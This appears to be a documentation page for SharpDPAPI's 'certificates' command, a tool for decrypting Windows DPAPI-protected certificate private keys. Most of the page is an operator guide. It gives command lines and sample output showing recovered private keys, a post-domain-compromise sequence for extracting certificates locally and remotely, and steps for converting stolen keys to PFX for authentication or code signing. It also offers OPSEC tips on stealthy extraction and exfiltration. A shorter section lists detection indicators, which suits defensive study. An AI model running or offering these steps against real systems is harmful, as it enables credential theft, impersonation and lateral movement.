certificates

Overview

The certificates command searches for and decrypts DPAPI-protected certificate private keys for users or machines. Recovered certificates can be used for authentication, code signing, or encrypting/decrypting data.

Windows stores certificate private keys encrypted with DPAPI. Decrypting these keys allows certificate export and usage without the original user context.

Basic Usage

# Decrypt user certificates with domain backup key
SharpDPAPI.exe certificates /pvk:key.pvk

# Decrypt with masterkey mappings
SharpDPAPI.exe certificates {GUID1}:SHA1 {GUID2}:SHA1

# Decrypt with CryptUnprotectData (unprivileged)
SharpDPAPI.exe certificates /unprotect

# Decrypt machine certificates
SharpDPAPI.exe certificates /machine

# Show all decrypted keys (not just linked to certificates)
SharpDPAPI.exe certificates /pvk:key.pvk /showall

Command Arguments

Decryption Methods

CryptUnprotectData
Domain Backup Key
Masterkey Mappings
User Credentials

# Use Windows API for decryption (unprivileged)
SharpDPAPI.exe certificates /unprotect

Works without masterkeys if run from the user context who owns the certificates. No LSASS access required!

Targeting Options

Argument	Description
`/target:FILE`	Target specific certificate private key file
`/target:FOLDER`	Target specific folder of certificate files
`/machine`	Use machine certificate store (requires elevation)
`/showall`	Show all decrypted private keys, not just those linked to installed certificates
`/cng`	Target CNG private keys instead of CAPI (default is CAPI)
`/server:SERVER`	Triage remote server (not applicable for machine mode)

When using /machine, you need elevation. The /mkfile and /target arguments can be used with /machine triage.

Certificate File Locations

User Certificate Private Keys (CAPI):

%APPDATA%\Microsoft\Crypto\RSA\<USER-SID>\<RANDOM_FILENAME>

User Certificate Private Keys (CNG):

%APPDATA%\Microsoft\Crypto\Keys\<RANDOM_FILENAME>

Machine Certificate Private Keys:

C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\<RANDOM_FILENAME>
C:\ProgramData\Microsoft\Crypto\Keys\<RANDOM_FILENAME>

Execution Context

User Certificates
Machine Certificates (/machine)

Run elevated to access all users
Run unelevated for current user only
Use /unprotect for unprivileged decryption

Example: User Certificates with Masterkeys

SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...

Output:

[*] Action: Certificate Triage

Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da

    Thumbprint       : 98A03BC583861DCC19045758C0E0C05162091B6C
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 2/22/2021 2:19:02 PM
    Expiry Date      : 2/22/2022 2:19:02 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Secure Email (1.3.6.1.5.5.7.3.4)
        Encrypting File System (1.3.6.1.4.1.311.10.3.4)

    [*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

Certificates with “Client Authentication” EKU can be used for authentication to systems and services. These are high-value targets!

Example: Using /unprotect

SharpDPAPI.exe certificates /unprotect

Output:

[*] Action: Certificate Triage

[*] Using CryptUnprotectData() for decryption.

Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
    Description      : Private Key
    algCrypt         : CALG_AES_256 (keyLen 256)
    algHash          : CALG_SHA_512 (32782)
    Salt             : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
    HMAC             : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
    Unique Name      : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}

    Thumbprint       : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 10/18/2022 11:40:07 AM
    Expiry Date      : 10/18/2023 12:00:07 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Server Authentication (1.3.6.1.5.5.7.3.1)

    [*] Private key file f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----

Example: Machine Certificates

SharpDPAPI.exe certificates /machine

Output:

[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...

[*] Triaging System Certificates

Folder       : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

  File               : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : aa8c9e4849455660fc5fc96589f3e40e
    HMAC             : 9138559ef30fbd70808dca2c1ed02a29
    Unique Name      : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650

    Thumbprint       : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=dev.theshire.local
    Valid Date       : 2/22/2021 3:50:43 PM
    Expiry Date      : 2/22/2022 3:50:43 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Server Authentication (1.3.6.1.5.5.7.3.1)

    [*] Private key file 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----

Certificate Usage Scenarios

Client Authentication

EKU: 1.3.6.1.5.5.7.3.2

Used for user/computer authentication
Can authenticate to Active Directory
Access web services and APIs
Remote desktop services
High value for lateral movement

Code Signing

EKU: 1.3.6.1.5.5.7.3.3

Sign executables and scripts
Sign driver packages
Create trusted applications
Bypass application whitelisting

Secure Email

EKU: 1.3.6.1.5.5.7.3.4

S/MIME email encryption
Email signing
Access encrypted email archives

Server Authentication

EKU: 1.3.6.1.5.5.7.3.1

SSL/TLS server certificates
Web server authentication
Service authentication

Encrypting File System (EFS)

EKU: 1.3.6.1.4.1.311.10.3.4

Decrypt EFS-encrypted files
Access encrypted user data
Recover encrypted documents

Common Scenarios

Post-Domain Compromise

After obtaining domain backup key:

# 1. Retrieve backup key
SharpDPAPI.exe backupkey /file:key.pvk

# 2. Decrypt user certificates locally
SharpDPAPI.exe certificates /pvk:key.pvk

# 3. Decrypt machine certificates (requires elevation)
SharpDPAPI.exe certificates /machine

# 4. Decrypt on remote systems
SharpDPAPI.exe certificates /pvk:key.pvk /server:workstation.domain.com

Unprivileged Certificate Extraction

Extract certificates from current user context:

# No masterkeys or elevation needed
SharpDPAPI.exe certificates /unprotect

# Show all private keys, not just linked ones
SharpDPAPI.exe certificates /unprotect /showall

Finding Authentication Certificates

Look for certificates usable for authentication:

# Decrypt all certificates
SharpDPAPI.exe certificates /pvk:key.pvk

# Look for output containing:
# "Certificate is used for client auth!"

These can be used for:

Kerberos authentication (PKINIT)
Web service authentication
Network service access

Machine Certificate Extraction

Extract system certificates for service impersonation:

# Requires elevation
SharpDPAPI.exe certificates /machine

# With domain backup key for specific target
SharpDPAPI.exe certificates /machine /target:C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\ /pvk:key.pvk

Using Recovered Certificates

The output provides both the private key and certificate in PEM format:

Save Output

Save the private key and certificate sections to separate files:

cert.key - Private key portion
cert.crt - Certificate portion

Convert to PFX

openssl pkcs12 -export -out cert.pfx -inkey cert.key -in cert.crt

Import Certificate

Import the PFX to use for authentication or signing

Detection Considerations

Host-Based Indicators:

Reading files from %APPDATA%\Microsoft\Crypto\RSA\
Access to C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\
Non-standard processes accessing certificate private key files
Bulk enumeration of certificate stores
LSASS access for machine certificate operations

Defensive Monitoring:

Monitor access to user crypto directories
Alert on MachineKeys folder access
Track certificate private key file reads
Detect bulk certificate enumeration
Monitor for certificate export operations

Event Log Indicators:

Event ID: 4663 (File Access)
Object Name: *\Microsoft\Crypto\RSA\*
Object Name: *\MachineKeys\*
Process Name: Not expected certificate applications

triage

Includes user certificate triage

machinetriage

Includes machine certificate triage

masterkeys

Decrypt user masterkeys

backupkey

Retrieve domain backup key

Tips

Certificate Hunting

Look for “Client Authentication” EKU for authentication
Check machine certificates on domain controllers and servers
Code signing certificates are valuable for persistence
EFS certificates can decrypt user files
Smart card certificates are high-value targets

OPSEC Considerations

Use /unprotect for unprivileged, stealthy extraction
Target specific certificate files if locations are known
Machine certificate operations require elevation (more visible)
Redirect output to file to avoid console display
Consider exfiltration method for recovered certificates

Troubleshooting

No certificates found:

User may not have certificate private keys
Try /showall to see all decrypted keys
Check both CAPI and CNG locations
Verify masterkeys are correct

Certificate shows but no private key recovered:

Masterkey may not be available
Try using domain backup key
Certificate may use different DPAPI protection
Check if /cng flag is needed

Machine certificates require elevation:

Must run as Administrator or SYSTEM
Uses DPAPI_SYSTEM LSA secret
Cannot use /unprotect for machine certs

Getting Started

User Triage Commands

Machine Triage Commands

Utility Commands

SharpChrome

Overview

Basic Usage

Command Arguments

Decryption Methods

Targeting Options

Certificate File Locations

Execution Context

Example: User Certificates with Masterkeys

Example: Using /unprotect

Example: Machine Certificates

Certificate Usage Scenarios

Common Scenarios

Using Recovered Certificates

Detection Considerations

triage

machinetriage

masterkeys

backupkey

Tips

Getting Started

User Triage Commands

Machine Triage Commands

Utility Commands

SharpChrome

​Overview

​Basic Usage

​Command Arguments

​Decryption Methods

​Targeting Options

​Certificate File Locations

​Execution Context

​Example: User Certificates with Masterkeys

​Example: Using /unprotect

​Example: Machine Certificates

​Certificate Usage Scenarios

​Common Scenarios

​Using Recovered Certificates

​Detection Considerations

​Related Commands

triage

machinetriage

masterkeys

backupkey

​Tips

Overview

Basic Usage

Command Arguments

Decryption Methods

Targeting Options

Certificate File Locations

Execution Context

Example: User Certificates with Masterkeys

Example: Using /unprotect

Example: Machine Certificates

Certificate Usage Scenarios

Common Scenarios

Using Recovered Certificates

Detection Considerations

Related Commands

Tips